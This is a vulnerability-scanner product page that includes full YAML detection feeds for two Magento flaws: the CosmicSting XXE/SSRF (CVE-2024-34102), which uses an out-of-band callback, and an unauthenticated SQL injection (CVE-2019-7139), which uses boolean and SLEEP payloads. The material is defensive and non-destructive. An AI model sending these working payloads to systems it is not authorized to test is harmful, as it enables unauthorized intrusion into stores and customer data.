Magento — 2 vulnerability checks

noctis ships 2 vulnerability checks for Magento, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Adobe Commerce / Magento CosmicSting XXE / SSRF Pre-Auth RCE

CVECVE-2024-34102
Severitycritical · CVSS 9.8
Categoryssrf — SSRF
Serviceshttp, https
Detectionset_var, http_request, match, wait_oob · highest QoD 97
Feedtests/vulnerabilities/magento/CVE-2024-34102.yaml

Checks Adobe Commerce / Magento for CosmicSting, the unauthenticated XXE through nested object deserialization in the REST API. The test first needs the guest-cart estimate-shipping-methods route to answer with a Magento JSON error or reply. When an out-of-band callback server is configured, it then posts an address object whose nested sourceData asks Magento to load XML from the callback URL, and reports the store when it fetches that URL. The fetch is blind, so without a callback server the test reports nothing.

How noctis detects it

  1. HTTP(S) request POST /rest/V1/guest-carts/1/estimate-shipping-methods with a crafted body
  2. Checks fp_resp.body for "message"\s*:
  3. HTTP(S) request POST /rest/V1/guest-carts/1/estimate-shipping-methods with a crafted body
  4. Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: SSRF confirmed — OOB HTTP callback received after Magento serialization fetched attacker-controlled URL via XXE/nested deserialization (CVE…

References:

Feed source — tests/vulnerabilities/magento/CVE-2024-34102.yaml
# Adobe Commerce / Magento CosmicSting XXE — CVE-2024-34102
#
# The REST input processor instantiates nested objects from request JSON, so
# an address.totalsCollector...sourceData object with dataIsURL makes Magento
# load XML from an attacker URL (Assetnote). The fetch is blind: the only proof
# is the OOB callback (QoD 97). Without OOB the feed reports nothing.
#
# The previous revision raised a QoD 50 "CosmicSting XXE feasible" finding on
# any 200 reply containing "message" — every Magento REST error has that field,
# fixed or not (#2404). The route answer is now only the gate for the OOB
# probe, and it no longer needs a 200: a guest cart id that does not exist
# (the "1" used here) gets a 404 "No such entity" JSON error on a real store.
uid: 5d9b2f4d-0763-4575-b95e-05be7e60c97e
name: "Adobe Commerce / Magento CosmicSting XXE / SSRF Pre-Auth RCE"
description: |
  Checks Adobe Commerce / Magento for CosmicSting, the unauthenticated XXE
  through nested object deserialization in the REST API. The test first needs
  the guest-cart estimate-shipping-methods route to answer with a Magento
  JSON error or reply. When an out-of-band callback server is configured, it
  then posts an address object whose nested sourceData asks Magento to load
  XML from the callback URL, and reports the store when it fetches that URL.
  The fetch is blind, so without a callback server the test reports nothing.
cves: [CVE-2024-34102]
cvss: 9.8
severity: critical
category: ssrf
confidence_base: 0.30
tags: [xxe, ssrf, rce, oob, kev, magento, pre-auth]
services: [http, https]
author: noctis
version: "2.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2024-34102"
  - "https://helpx.adobe.com/security/products/magento/apsb24-40.html"
  - "https://www.assetnote.io/resources/research/why-nested-deserialization-is-harmful-magento-xxe-cve-2024-34102"

steps:
  - id: init-magento-ok
    action: set_var
    var_name: magento_ok
    var_value: false

  # ── Step 1: gate (no finding) — the Magento REST route answers ─────────────────────────────
  - id: fingerprint-probe
    action: http_request
    method: POST
    path: /rest/V1/guest-carts/1/estimate-shipping-methods
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 10
    follow_redirects: false
    headers:
      Content-Type: "application/json"
    body: '{"address": {"countryId": "US", "postcode": "10001"}}'
    store_as: fp_resp

  - id: magento-set-ok
    action: match
    source: fp_resp.body
    pattern: '"message"\s*:'
    condition: "fp_resp.status >= 200 && fp_resp.status < 600"
    on_match:
      set_vars:
        magento_ok: true

  # ── Step 2: OOB SSRF confirmation via XXE nested object payload ─────────
  # Skipped unless --oob is configured.

  - id: oob-xxe
    action: http_request
    method: POST
    path: /rest/V1/guest-carts/1/estimate-shipping-methods
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    follow_redirects: false
    condition: "magento_ok == true && oob_enabled"
    headers:
      Content-Type: "application/json"
    body: '{"address": {"totalsCollector": {"collectorList": {"totalCollector": {"sourceData": {"data": "http://{{oob_host}}:{{oob_port}}/{{oob_token}}", "dataIsURL": true, "options": 12345678}}}}}}'
    store_as: oob_resp

  - id: oob-wait
    action: wait_oob
    oob_timeout_secs: 20
    condition: "magento_ok == true && oob_enabled"
    on_success:
      finding:
        confidence_delta: 0.67
        qod: 97
        evidence: "SSRF confirmed — OOB HTTP callback received after Magento serialization fetched attacker-controlled URL via XXE/nested deserialization (CVE-2024-34102 CosmicSting)"
      stop: true

Magento Unauthenticated SQL Injection in Product Synchronize Action

CVECVE-2019-7139
Severitycritical · CVSS 9.8
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 75
Feedtests/vulnerabilities/magento/CVE-2019-7139.yaml

Magento Open Source / Commerce 2.1 before 2.1.17, 2.2 before 2.2.8 and 2.3 before 2.3.1 let an unauthenticated user inject SQL through the `ids[0][product_id][to]` parameter of /catalog/product_frontend_action/synchronize. This check confirms the injection with a write-free boolean differential (a sub-select returning two rows makes the query fail with HTTP 400, one row makes it succeed with HTTP 200 JSON — random operands, TRUE condition re-tested), and falls back to a time-based SLEEP(2) / SLEEP(5) proof when SQL errors are suppressed.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{mage_dir}}{{sync_base}}%29%29%29+OR+%28SELECT+1+UNION+SELECT+2+FROM+DUAL+WHERE+{{op…
  3. HTTP(S) request GET {{mage_dir}}{{sync_base}}%29%29%29+OR+%28SELECT+1+UNION+SELECT+2+FROM+DUAL+WHERE+{{op…
  4. HTTP(S) request GET {{mage_dir}}{{sync_base}}%29%29%29+OR+%28SELECT+1+UNION+SELECT+2+FROM+DUAL+WHERE+{{op…
  5. HTTP(S) request GET {{mage_dir}}{{sync_base}}%29%29%29+OR+%28SELECT+1+UNION+SELECT+2+FROM+DUAL+WHERE+{{op…
  6. Parses / computes the next value with a Rhai script
  7. HTTP(S) request GET {{mage_dir}}{{sync_base}}%29%29%29+OR+%28SELECT%2AFROM+%28SELECT+SLEEP%28%282%29%29%2…
  8. HTTP(S) request GET {{mage_dir}}{{sync_base}}%29%29%29+OR+%28SELECT%2AFROM+%28SELECT+SLEEP%28%285%29%29%2…
  9. Parses / computes the next value with a Rhai script
  10. Checks bl.boolean → finding QoD 75: Magento Unauthenticated SQL Injection (CVE-2019-7139)
  11. Checks tm.time → finding QoD 75: Magento Unauthenticated SQL Injection (CVE-2019-7139)

References:

Feed source — tests/vulnerabilities/magento/CVE-2019-7139.yaml
# CVE-2019-7139 (Magento 2.1 < 2.1.17, 2.2 < 2.2.8, 2.3 < 2.3.1, PRODSECBUG-2198)
# — unauthenticated SQL injection in the product "recently viewed" synchronize
# action. Active detection ported from OpenVAS/Greenbone NASL
# 2019/magentocommerce/gb_magento_sql_inj_vuln.nasl (GPL-2.0-only), with the
# Nuclei template http/cves/2019/CVE-2019-7139.yaml as a second reference.
#
# The `ids[0][product_id]` range filter is built with a `from` value of `?`,
# which the vulnerable SQL builder then substitutes with the quoted `to` value.
# The quote ends up outside a literal, so `to` is injected into the WHERE clause.
#
# Both stages are BENIGN and write-free (project rule: prove exploitation,
# never destroy, never extract data):
#
#   1. Boolean differential (QoD 75) — the NASL's error-based pair:
#        TRUE:  ))) OR (SELECT 1 UNION SELECT 2 FROM DUAL WHERE A=A) -- -
#               the sub-select returns two rows → "Subquery returns more than
#               1 row" → Magento answers HTTP 400.
#        FALSE: ))) OR (SELECT 1 UNION SELECT 2 FROM DUAL WHERE A=B) -- -
#               one row → valid query → HTTP 200 JSON.
#      Better than the NASL (fixed 333=333 / 333=334, one round trip each, any
#      200 body accepted):
#        - per-run random operands, so a cached / canned response cannot pass;
#        - the TRUE condition is re-sent with fresh operands and must give 400
#          again (TRUE → 400, FALSE → 200, TRUE → 400): a server whose answer
#          flips for an unrelated reason fails;
#        - the FALSE answer must be JSON (the controller's real reply), so an
#          HTML 200 error page / soft-404 does not count.
#
#   2. Time-based (QoD 75), only when stage 1 did not confirm and the endpoint
#      answered the FALSE probe with JSON (i.e. a Magento synchronize action is
#      there but SQL errors are swallowed). Same injection with
#      (SELECT*FROM(SELECT SLEEP(n))a)=1 for n = 2 then 5; each delay must be
#      at least n s and at most n s + baseline + 5 s (the NASL window), and the 5 s one must be
#      longer than the 2 s one (NASL: 1 s then 3 s).
#
# Install path: the NASL uses the directory found by its Magento detection
# NVT. noctis has no crawler, so the feed loops over the web root plus the two
# usual sub-directories `/magento` and `/shop`, and stops at the first hit.
#
# http_request is fine here (unlike path-traversal payloads): the encoded
# characters sit in the query string, which reqwest forwards verbatim.
uid: f98ea78f-d5a7-4f12-8fe7-152f078fbebc
name: "Magento Unauthenticated SQL Injection in Product Synchronize Action (CVE-2019-7139)"
description: |
  Magento Open Source / Commerce 2.1 before 2.1.17, 2.2 before 2.2.8 and 2.3 before
  2.3.1 let an unauthenticated user inject SQL through the
  `ids[0][product_id][to]` parameter of /catalog/product_frontend_action/synchronize.
  This check confirms the injection with a write-free boolean differential (a
  sub-select returning two rows makes the query fail with HTTP 400, one row makes
  it succeed with HTTP 200 JSON — random operands, TRUE condition re-tested), and
  falls back to a time-based SLEEP(2) / SLEEP(5) proof when SQL errors are
  suppressed.
cves: [CVE-2019-7139]
cvss: 9.8
severity: critical
confidence_base: 0.30
category: sqli
tags:
  - magento
  - adobe-commerce
  - sqli
  - blind-sqli
  - time-based
  - pre-auth
services:
  - http
  - https
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2019-7139"
  - "https://magento.com/security/patches/magento-2.3.1-2.2.8-and-2.1.17-security-update"
  - "https://www.ambionics.io/blog/magento-sqli"
  - "OpenVAS/Greenbone NASL 2019/magentocommerce/gb_magento_sql_inj_vuln.nasl (GPL-2.0-only)"
  - "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2019/CVE-2019-7139.yaml"

vars:
  sync_base: "/catalog/product_frontend_action/synchronize?type_id=recently_products&ids%5B0%5D%5Badded_at%5D=&ids%5B0%5D%5Bproduct_id%5D%5Bfrom%5D=%3F&ids%5B0%5D%5Bproduct_id%5D%5Bto%5D="

steps:
  # ── Random operands: TRUE pairs (a=a, c=c) and a FALSE pair (a=b) ─────────
  - id: gen-operands
    action: script
    code: |
      let a = rand_int(1013, 9973);
      let c = rand_int(1013, 9973);
      #{ a: a, b: a + rand_int(1, 97), c: c }
    store_as: op

  # ── Loop group: every step below runs once per candidate install path ─────
  # Pre-initialise every stored result: a failed request leaves store_as unset
  # and the verify scripts would then abort the whole test.
  - id: init-true1
    action: set_var
    var_name: true1
    var_value: {status: 0, body: null, headers: {}, duration_ms: 0}
    loop:
      over: ["", "/magento", "/shop"]
      var: mage_dir

  - id: init-false1
    action: set_var
    var_name: false1
    var_value: {status: 0, body: null, headers: {}, duration_ms: 0}

  - id: init-true2
    action: set_var
    var_name: true2
    var_value: {status: 0, body: null, headers: {}, duration_ms: 0}

  - id: init-sleep2
    action: set_var
    var_name: sleep2
    var_value: {status: 0, body: null, headers: {}, duration_ms: 0}

  - id: init-sleep5
    action: set_var
    var_name: sleep5
    var_value: {status: 0, body: null, headers: {}, duration_ms: 0}

  # ── Stage 1: boolean differential (NASL error-based pair) ─────────────────
  - id: probe-true1
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{mage_dir}}{{sync_base}}%29%29%29+OR+%28SELECT+1+UNION+SELECT+2+FROM+DUAL+WHERE+{{op.a}}%3D{{op.a}}%29+--+-"
    headers:
      X-Requested-With: XMLHttpRequest
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: true1

  - id: probe-false1
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{mage_dir}}{{sync_base}}%29%29%29+OR+%28SELECT+1+UNION+SELECT+2+FROM+DUAL+WHERE+{{op.a}}%3D{{op.b}}%29+--+-"
    headers:
      X-Requested-With: XMLHttpRequest
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: false1
    condition: "true1.status == 400"

  - id: probe-true2
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{mage_dir}}{{sync_base}}%29%29%29+OR+%28SELECT+1+UNION+SELECT+2+FROM+DUAL+WHERE+{{op.c}}%3D{{op.c}}%29+--+-"
    headers:
      X-Requested-With: XMLHttpRequest
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: true2
    condition: "true1.status == 400 && false1.status == 200"

  # Baseline for stage 2: the FALSE probe, sent here when stage 1 skipped it
  # (TRUE probe did not give 400). Same request, so the same stored name.
  - id: probe-false-baseline
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{mage_dir}}{{sync_base}}%29%29%29+OR+%28SELECT+1+UNION+SELECT+2+FROM+DUAL+WHERE+{{op.a}}%3D{{op.b}}%29+--+-"
    headers:
      X-Requested-With: XMLHttpRequest
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: false1
    condition: "true1.status != 400"

  - id: verify-boolean
    action: script
    code: |
      let ct = false1.headers["content-type"];
      let json = type_of(ct) == "string" && ct.contains("json");
      #{
        json: false1.status == 200 && json,
        boolean: true1.status == 400 && false1.status == 200 && json && true2.status == 400
      }
    store_as: bl

  # ── Stage 2: time-based fallback (NASL time-based check) ──────────────────
  - id: probe-sleep2
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{mage_dir}}{{sync_base}}%29%29%29+OR+%28SELECT%2AFROM+%28SELECT+SLEEP%28%282%29%29%29a%29%3D1+--+-"
    headers:
      X-Requested-With: XMLHttpRequest
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: sleep2
    condition: "bl.json && !bl.boolean"

  - id: probe-sleep5
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{mage_dir}}{{sync_base}}%29%29%29+OR+%28SELECT%2AFROM+%28SELECT+SLEEP%28%285%29%29%29a%29%3D1+--+-"
    headers:
      X-Requested-With: XMLHttpRequest
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: sleep5
    condition: "bl.json && !bl.boolean && sleep2.status != 0 && sleep2.duration_ms >= 2000"

  - id: verify-time
    action: script
    code: |
      let base = false1.duration_ms;
      let ok2 = sleep2.status != 0 && sleep2.duration_ms >= 2000 && sleep2.duration_ms <= 7000 + base;
      let ok5 = sleep5.status != 0 && sleep5.duration_ms >= 5000 && sleep5.duration_ms <= 10000 + base;
      #{ time: bl.json && !bl.boolean && ok2 && ok5 && sleep5.duration_ms > sleep2.duration_ms }
    store_as: tm

  # ── Report: boolean-based SQLi confirmed ──────────────────────────────────
  - id: report-boolean
    action: match
    source: true2.body
    pattern: "(?s).*"
    condition: "bl.boolean"
    on_match:
      finding:
        confidence_delta: 0.55
        qod: 75
        title: "Magento Unauthenticated SQL Injection (CVE-2019-7139)"
        description: >
          {{mage_dir}}/catalog/product_frontend_action/synchronize injected the
          `ids[0][product_id][to]` parameter into its SQL query: a sub-select
          returning two rows made the query fail (HTTP 400) twice with fresh random
          operands, while the same sub-select returning one row succeeded (HTTP 200
          JSON). This confirms an unauthenticated SQL injection (blind, boolean
          based). No data was read or written.
        evidence: "Boolean SQLi on GET {{mage_dir}}/catalog/product_frontend_action/synchronize — WHERE {{op.a}}={{op.a}} → HTTP {{true1.status}}, WHERE {{op.a}}={{op.b}} → HTTP {{false1.status}} JSON, WHERE {{op.c}}={{op.c}} → HTTP {{true2.status}}"
      stop: true

  # ── Report: time-based SQLi confirmed ─────────────────────────────────────
  - id: report-time
    action: match
    source: sleep5.body
    pattern: "(?s).*"
    condition: "tm.time"
    on_match:
      finding:
        confidence_delta: 0.50
        qod: 75
        title: "Magento Unauthenticated SQL Injection (CVE-2019-7139)"
        description: >
          {{mage_dir}}/catalog/product_frontend_action/synchronize injected the
          `ids[0][product_id][to]` parameter into its SQL query: an injected
          SLEEP(2) and SLEEP(5) delayed the response by about 2 and 5 seconds
          respectively. This confirms an unauthenticated SQL injection (blind,
          time based). No data was read or written.
        evidence: "Time-based SQLi on GET {{mage_dir}}/catalog/product_frontend_action/synchronize — baseline {{false1.duration_ms}} ms, SLEEP(2) → {{sleep2.duration_ms}} ms, SLEEP(5) → {{sleep5.duration_ms}} ms"
      stop: true

View these feeds on GitHub